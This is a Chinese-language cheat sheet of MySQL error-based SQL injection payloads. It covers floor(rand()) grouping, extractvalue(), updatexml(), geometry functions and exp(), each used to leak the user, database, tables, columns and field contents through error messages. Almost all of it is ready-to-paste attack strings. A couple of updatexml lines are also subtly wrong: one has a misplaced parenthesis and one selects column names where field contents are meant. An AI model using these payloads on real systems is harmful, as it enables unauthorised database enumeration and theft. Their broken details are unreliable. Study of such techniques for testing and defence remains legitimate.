报错注入总结

1、floor()

收集数据库信息：user()、database()....
select * from user where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
爆表：
select * from user where id=1 and (select 1 from (select count(*),concat(floor(rand(0)*2),'~',(table_name))x from information_schema.tables group by x)a);
爆字段：
select * from user where id=1 and (select 1 from (select count(*),concat(floor(rand(0)*2),'~',(column_name))x from information_schema.columns group by x)a);
字段内容：
select * from user where id=1 and (select 1 from (select count(*),concat(floor(rand(0)*2),'~',(字段名))x from 表名 group by x)a);

产生报错的原理：https://www.2cto.com/article/201604/498394.html

2、extractvalue()

MySQL 5.1.5 以后可以用

select * from user where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

爆表名：
select * from user where id=1 and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables limit 1,1),0x7e)));
爆字段：
select * from user where id=1 and (extractvalue(1,concat(0x7e,(select column_name from information_schema.columns limit 1,1),0x7e)));
字段内容：
select * from user where id=1 and (extractvalue(1,concat(0x7e,(select 字段名 from 表名 limit 1,1),0x7e)));

3、updatexml():

MySQL 5.1.5 以后可以用

 select * from user where id=1 and (updatexml(1,concat('~',(select database()),'~'),1));
 有时候可能需要将‘~’写成十六进制形式
 select * from user where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
 
 爆表名
 select * from user where id=1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1));
 爆字段
 select * from user where id=1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名',0x7e),1));
 字段内容
 select * from user where id=1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from 表名),0x7e),1));

下面的函数在我的mysql5.7里无法实现。

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));